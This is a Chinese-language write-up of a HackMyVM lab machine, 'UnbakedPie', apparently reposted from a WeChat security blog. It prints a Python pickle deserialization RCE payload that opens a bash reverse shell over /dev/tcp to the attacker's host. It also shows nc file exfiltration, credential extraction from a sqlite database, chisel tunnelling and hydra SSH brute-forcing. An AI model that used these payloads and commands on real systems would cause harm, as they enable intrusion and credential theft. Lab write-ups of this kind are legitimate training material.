lia之前virtualbox有点问题,今天解决了,今天继续更新hackmyvm。
信息收集
扫网段
扫端口 192.168.56.102
摘选一下有用信息:端口5003上运行的服务使用了WSGIServer/0.2 CPython/3.8.6,说明是语言为python
访问一下5003端口,看一下web界面
搜索一下milu,看一下返回包
里面有一个cookie值挺显眼,看起来是base64编码,来解码一下
import base64
encoded_cookie = "gASVCAAAAAAAAACMBG1pbHWULg=="
#解码
decoded_cookie = base64.b64decode(encoded_cookie)
print(decoded_cookie)
可以看到我们搜索的字符串就显示明文了,而且看起来这个结果是经过Python的pickle序列化的结果,那我们接着反序列化一下,验证一下
import pickle#pickle模块用于序列化和反序列化
encoded_cookie = b'x80x04x95x08x00x00x00x00x00x00x00x8cx04milux94.'
#进行反序列化
decoded_cookie = pickle.loads(encoded_cookie)
print(decoded_cookie)
猜想正确,那现在的思路就很明确了--尝试反序列化RCE。
反序列化
关于反序列化,可能有小白还不理解,这里如果直接解释会有点过臃长了,简单来说序列化的目的是为了保存、传递和恢复对象,不同的语言有自己不同的序列化方式,这里建议小白从php的序列化开始学习,如果实在想不通,可以理解成,为了方便,把对象通过某种算法变成了一串编码,如果有师傅需要,麋鹿后期也可以针对序列化出系列专栏。
前文说到,序列化其实就是使用一种方便存储的格式去存储一个类对象,在python中当然也一样,python序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程。
在python中,序列化主要涉及到两个库pickle
和cPickle
,前文也是用这个库去验证是否是反序列化,如果说原理,篇幅太大,本篇主要是看发现之后如何利用,以及和PHP反序列化的区别。
相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,python的序列化其实就是把它转换成相应的操作码,当我们进行反序列化的时候,是把那一串操作码变回来,因此,python可以执行我们本地构造的类,从而达到我们想要的目的。
回归本题:
先看一下kali ip,192.168.56.101,监听4444端口,接着用pickle构造一个反序列化RCE的payload,也就是如下脚本
import pickle, base64, os
# 创建命令
create_shell_command = (lambda: (os.system, ('bash -i >& /dev/tcp/192.168.56.101/7777 0>&1',)))
#lambda匿名函数
#python反序列化允许处理匿名对象
# 使用pickle序列化并进行Base64编码
print(base64.urlsafe_b64encode(pickle.dumps(create_shell_command())))
监听7777端口,然后把用到的cookie发包
ok,弹回来了
把这几个文件下载下来看一下,尤其是那个sql文件
本来想的是用python开一个http服务,下完了再关掉,结果发现访问不到。
猜有可能是docker,看一下
还真是,换nc传文件
接受端
nc -lvp 7890 > run.sh
发送端
nc 192.168.56.101 7890 < run.sh
正如文件名一样,就是启动的脚本,那就去看看sql文件里有什么。最好是在下载时加一个-q 0,让文件传输结束后自动退出。
nc -q 0 192.168.56.101 7890 < db.sqlite3
对于一些小文件可以先转换成base64,复制粘贴出来
写到txt里,还原就行了
打开sql文件,找账号密码
.headers on是显示查询结果中列名
查看用户名和密码
这里想的是把这几个密码保存下来,然后用hashcat去爆破
用法如下
hashcat 保存密码的文件 /usr/share/wordlists/rockyou.txt
但是hash运算量太大,爆破时间太长(超过一天了),所以这个方法行不通,只能继续看其他信息。
后渗透
本来是像看/var/log/auth.log这种日志,但这是docker容器,没有这些东西,那就只能看看Bash 历史记录了
看到了ssh登录的记录和宿主机的IP,这里提示ssh的账号名字为上面sql里的ramsey,说明我们不选择用hashcat来爆破密码,而是搭建隧道去连接172.17.0.1,用已知的账号(ramsey)去爆破密码,这样比用hashcat速度快
那就扫一下端口,看一下是否开放了ssh
nc -znv 172.17.0.1 1-65535
ok,开着呢,那么现在来搭一个网络隧道和试一下端口转发
靶机无法联网,于是在kali上用python开启了http服务,让靶机去下载kali上的chisel,并给权限
kali上监听9001端口进行反向连接
chisel server -p 9001 --reverse
然后靶机上连接
./chisel_1.7.6_linux_amd64 client 192.168.56.101:9001 R:9002:172.17.0.1:22
ok,现在用九头蛇来爆破ssh的密码,指定用户名为ramsey
hydra -l ramsey -P /usr/share/wordlists/rockyou.txt ssh://127.0.0.1:9002
连接上去以后,就可以在root.txt里读到flag了
往期文章汇总
权限维持和排查
继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)
别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)
你不知道的win应急思路!从维权到排查,面试必问!不来看看?
rootkit原理
从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)
漏洞复现和利用手法
从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具
从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具
从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)
浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理
遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)
浅分析 Apache Confluence [CVE-2023-22515]
一些工具和原理
浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)
浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理
一些渗透手法
试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)
试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)
从绕过disable_functions到关于so的一些想法
一些杂谈
考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)
晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)
2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)
再加一个打靶系列
如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)
打靶手机之hackmyvm--connection (qq.com)
原文始发于微信公众号(麋鹿安全):打靶手记之hackmyvm--UnbakedPie
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论